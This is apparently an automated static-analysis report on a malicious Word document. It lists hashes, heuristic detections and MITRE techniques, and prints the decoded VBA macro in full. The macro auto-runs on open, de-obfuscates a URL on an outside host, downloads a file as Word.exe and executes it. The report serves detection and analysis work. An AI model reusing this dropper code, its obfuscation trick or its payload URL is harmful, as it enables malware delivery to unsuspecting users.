Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5d2b03c840ed108f…

MALICIOUS

Office (OLE)

534.5 KB Created: 2014-10-15 12:15:00 Authoring application: Microsoft Office Word First seen: 2017-09-14
MD5: aad18684d9d8ea8ce38f91db01896094 SHA-1: 55efb13a296f6484cd02fe88d3103ff69e254bbc SHA-256: 5d2b03c840ed108f97e6e5cd9dddfb6d635d49e63066800d212e150b5d2a5cda
336 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains VBA macros that use URLDownloadToFileA to download a file from 'http://auteam.com.mx/js/js/logo.gif' and save it as 'Word.exe' in the user's public directory. It then uses ShellExecuteW to execute the downloaded file. The document body itself is a lure, instructing the user to enable macros to view content, which is a common social engineering tactic.

Heuristics 13

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Customizable = True
Private Declare Function URLDownloadToFileA Lib "urlmon.dll" (ByVal TENCQNBGFw As Long, ByVal dCkTfeN As String, ByVal FNyNPBwqcg As String, ByVal LsRWaVqvhd As Long, ByVal quHTcQK As Long) As Long
Private Declare Function ShellExecuteW Lib "shell32.dll" (ByVal kDh As Long, ByVal idMX As Long, ByVal oOexxstN As Long, ByVal NTvcL As Long, ByVal GAjKkAqdYM As Long, ByVal RfsHaPMhN As Long) As Long
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
Call ijiijjijiojioijoijo
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Declare Function ShellExecuteW Lib "shell32.dll" (ByVal kDh As Long, ByVal idMX As Long, ByVal oOexxstN As Long, ByVal NTvcL As Long, ByVal GAjKkAqdYM As Long, ByVal RfsHaPMhN As Long) As Long
Sub Workbook_Open()
Call ijiijjijiojioijoijo
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Function
Sub Auto_Open()
Call ijiijjijiojioijoijo
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Private Function ijiijjijiojioijoijo() As Integer
Call bvbvbvbvbvbv(Environ("ap" & "p" & "d" & "ata") & "\" & uyuyuyuyuy)
Application.DisplayAlerts = False
  • URL de-obfuscated from VBA string literal (1 URL) info OLE_VBA_OBFUSCATED_URL
    A VBA macro hides its download URL inside a string literal that is de-obfuscated at runtime — junk digits or a Replace() junk token interleaved through the URL, or the URL stored reversed (StrReverse). The decoded host is the next-stage payload URL (URLDownloadToFile/XMLHTTP/ShellExecute); surfaced as an IOC. Self-validating: only a transform that yields a syntactically valid host URL is reported.
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://auteam.com.mx/js/js/logo.gif Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1819 bytes
SHA-256: 24800afaf75e783ae68334767dfe0dcadb325387a836d0852fc20703fc09350a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare Function URLDownloadToFileA Lib "urlmon.dll" (ByVal TENCQNBGFw As Long, ByVal dCkTfeN As String, ByVal FNyNPBwqcg As String, ByVal LsRWaVqvhd As Long, ByVal quHTcQK As Long) As Long
Private Declare Function ShellExecuteW Lib "shell32.dll" (ByVal kDh As Long, ByVal idMX As Long, ByVal oOexxstN As Long, ByVal NTvcL As Long, ByVal GAjKkAqdYM As Long, ByVal RfsHaPMhN As Long) As Long
Sub Workbook_Open()
Call ijiijjijiojioijoijo
End Sub
Private Function ijiijjijiojioijoijo() As Integer
Call bvbvbvbvbvbv(Environ("ap" & "p" & "d" & "ata") & "\" & uyuyuyuyuy)
Application.DisplayAlerts = False
Application.Quit
End Function
Public Function bvbvbvbvbvbv(Optional cddccdcddcdc As String = "jojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojo") As Integer
URLDownloadToFileA 0&, Replace("hffftffftpfff:/fff/afffutefffam.cfffom.mfffx/jfffs/jfffs/lofffgo.giffff", "fff", ""), cddccdcddcdc, 0&, 0&
ShellExecuteW 0&, StrPtr("Open"), StrPtr(cddccdcddcdc), StrPtr(""), StrPtr(""), 1
End Function

Sub AutoOpen()
Call ijiijjijiojioijoijo
End Sub

Private Function uyuyuyuyuy(Optional uujjmm As String = "jojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojojo")
Dim mjmjjmjmjmjm As String
If 1 <> 6754 Then

mjmjjmjmjmjm = "Word"

End If

For i = 33 To 345
    uyuyuyuyuy = mjmjjmjmjmjm & "." & StrReverse("exe")
    Exit Function
Next
End Function
Sub Auto_Open()
Call ijiijjijiojioijoijo
End Sub

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